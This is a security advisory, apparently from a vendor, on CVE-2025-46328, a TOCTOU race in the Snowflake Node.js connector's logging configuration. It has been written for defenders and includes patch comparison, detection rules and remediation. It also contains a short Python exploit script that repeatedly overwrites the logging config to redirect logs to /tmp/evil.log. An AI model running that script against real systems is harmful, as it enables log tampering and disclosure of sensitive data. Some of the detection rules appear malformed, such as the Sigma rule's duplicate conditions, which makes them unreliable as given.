CVE-2025-46328

Executive Summary

CVE-2025-46328 is a Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in the Snowflake Node.js connector (snowflake-connector-nodejs). The flaw exists in the Easy Logging feature on Linux and macOS systems. When reading a user-provided logging configuration file, the driver performs a file permission check that is vulnerable to a race condition. A local attacker with write access to the configuration file or its parent directory could exploit this to alter logging levels and output destinations, potentially leading to information disclosure or log manipulation.

Supply Chain & Package Security

This vulnerability affects the snowflake-connector-nodejs npm package. Organizations using this package in their Node.js applications should immediately verify their dependency version and update to 2.0.4 or later. The package is widely used in data engineering and analytics pipelines, making this a supply chain risk for any application that integrates with Snowflake.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: High (AC:H) – successful exploitation requires precise timing and knowledge of the file system state.
• Privileges Required: Low (PR:L) – the attacker needs a local user account with write access to the configuration file or its directory.
• User Interaction: None (UI:N) – no user action is required beyond the driver reading the configuration.
• Scope: Unchanged (S:U) – the vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – potential to read sensitive log data.
• Integrity Impact: Low (I:L) – ability to modify logging configuration.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Low. Exploitation requires local access and a race condition, making it difficult to exploit remotely. However, in multi-tenant environments or shared hosting, the risk increases.

Deep Dive & Mechanics

The vulnerability resides in the Easy Logging feature of the Snowflake Node.js connector. When the driver initializes logging, it reads a configuration file specified by the user. On Linux and macOS, the driver performs a security check to ensure the file is not writable by others (i.e., only the owner can write). However, this check is performed using a non-atomic operation:

1. Time-of-Check: The driver calls stat() or similar to check file permissions.
2. Time-of-Use: The driver then reads the file content.

Between these two operations, a local attacker can replace the configuration file with a malicious one (e.g., by writing to the same path if they have write access to the directory). The race window is small but exploitable, especially if the configuration file is read frequently (e.g., on every log event).

The check also fails to verify that the file owner matches the user running the driver. This means a file owned by another user but with restrictive permissions could still be exploited if the attacker can modify it.

Attack Scenario:

• Attacker has a local account on the same system as the Snowflake connector.
• Attacker identifies the configuration file path (e.g., /home/user/.snowflake/logging.json).
• Attacker monitors the file and, when the driver performs the permission check, quickly replaces the file with a malicious one that redirects logs to a world-readable location or changes log levels to capture sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (snowflake-connector-nodejs < 2.0.4):

// Pseudocode for the vulnerable check
function readLoggingConfig(filePath) {
  const stats = fs.statSync(filePath);
  // Check if file is not writable by others
  if (stats.mode & 0o002) {
    throw new Error('Config file is world-writable');
  }
  // TOCTOU: file could be replaced here
  const content = fs.readFileSync(filePath, 'utf8');
  return JSON.parse(content);
}

Patched Code (snowflake-connector-nodejs >= 2.0.4):

// Pseudocode for the patched check
function readLoggingConfig(filePath) {
  // Atomic open and lock
  const fd = fs.openSync(filePath, 'r');
  const stats = fs.fstatSync(fd);
  // Verify owner matches current user
  if (stats.uid !== process.getuid()) {
    throw new Error('Config file owner mismatch');
  }
  // Check permissions on the open file descriptor
  if (stats.mode & 0o002) {
    throw new Error('Config file is world-writable');
  }
  // Read from the locked file descriptor
  const content = fs.readFileSync(fd, 'utf8');
  fs.closeSync(fd);
  return JSON.parse(content);
}

The patch uses openSync() to atomically open the file, then performs checks on the file descriptor (fstatSync). This eliminates the race condition because the file cannot be replaced between the open and the read.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local user account on the target system.
• Write access to the directory containing the Snowflake logging config file (e.g., /home/user/.snowflake/).
• The Snowflake connector must be running and reading the config file.

Exploit Script (Python):

import os
import time
import threading

# Target config file path
config_path = "/home/user/.snowflake/logging.json"
# Malicious config to redirect logs to /tmp/evil.log
malicious_config = '{"level": "DEBUG", "output": "/tmp/evil.log"}'

def race_condition():
    while True:
        # Wait for the driver to check permissions
        time.sleep(0.001)
        # Replace the file with malicious config
        with open(config_path, 'w') as f:
            f.write(malicious_config)

# Start the race in a background thread
thread = threading.Thread(target=race_condition)
thread.daemon = True
thread.start()

# Trigger the driver to read the config (e.g., by generating a log event)
# This is application-specific; in a real scenario, you'd wait for the driver to read.
time.sleep(5)
print("Race condition exploit attempted. Check /tmp/evil.log for output.")

Usage:

1. Run the exploit script on the target system.
2. Trigger the Snowflake connector to read the logging config (e.g., by executing a query that generates a log event).
3. Monitor /tmp/evil.log for captured log data.

Blue Team (Detection & Defense)

Detection:

• Monitor for rapid file modifications to Snowflake config files (e.g., logging.json).
• Use file integrity monitoring (FIM) to alert on changes to these files.
• Enable auditd rules to log open() and write() calls on config directories.

Defense:

• Ensure the config file is stored in a directory with strict permissions (e.g., chmod 700).
• Use a dedicated, non-privileged user for the Snowflake connector.
• Apply the patch by upgrading to version 2.0.4 or later.
• Consider using immutable files (e.g., chattr +i) for critical config files.

Indicators of Compromise (IOCs)

• File Paths:
  • /home/*/.snowflake/logging.json (or similar)
  • /tmp/evil.log (or other unexpected log locations)
• Process Behavior:
  • Unusual file open/write patterns on Snowflake config directories.
  • Rapid succession of stat() and open() calls on the same file.
• Log Entries:
  • Logs appearing in unexpected locations (e.g., /tmp/).
  • Log level changes without administrative action.

Detection Engineering

YARA Rule

rule CVE_2025_46328_Snowflake_TOCTOU {
    meta:
        description = "Detects exploitation attempts of CVE-2025-46328 via rapid file modifications"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-46328"
    strings:
        $snowflake_path = /\/\.snowflake\/logging\.json/
        $malicious_output = /"output":\s*"\/tmp\//
    condition:
        $snowflake_path and #malicious_output > 0
}

Sigma Rule

title: CVE-2025-46328 Snowflake TOCTOU Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects rapid file modifications to Snowflake logging config files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '/.snowflake/logging.json'
        EventID: 11  # File creation
    condition: selection
    timeframe: 5s
    condition: selection | count() by TargetFilename > 5
falsepositives:
    - Legitimate configuration updates
level: medium

Suricata Rule

alert file any any -> any any (msg:"CVE-2025-46328 Snowflake TOCTOU - Config File Modification"; file.name:"/.snowflake/logging.json"; file.size:<1000; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update snowflake-connector-nodejs to version 2.0.4 or later.

   npm install snowflake-connector-nodejs@2.0.4
   

2. Restrict Permissions: Ensure the logging config file and its parent directory are owned by the same user running the driver and have minimal permissions (e.g., chmod 600 for the file, chmod 700 for the directory).
3. Monitor: Implement file integrity monitoring on the config file path.

Long-Term Mitigations:

• Use a dedicated service account with limited filesystem access.
• Consider using environment variables or secure configuration management tools instead of file-based logging config.
• Regularly audit dependencies for known vulnerabilities.

Patch Details:

• Fixed Version: 2.0.4
• Patch Commit: (Not publicly available, but upgrade is the recommended action)
• Workaround: If upgrading is not possible, set the config file to immutable (chattr +i) and ensure the directory is not writable by others.

Valters IT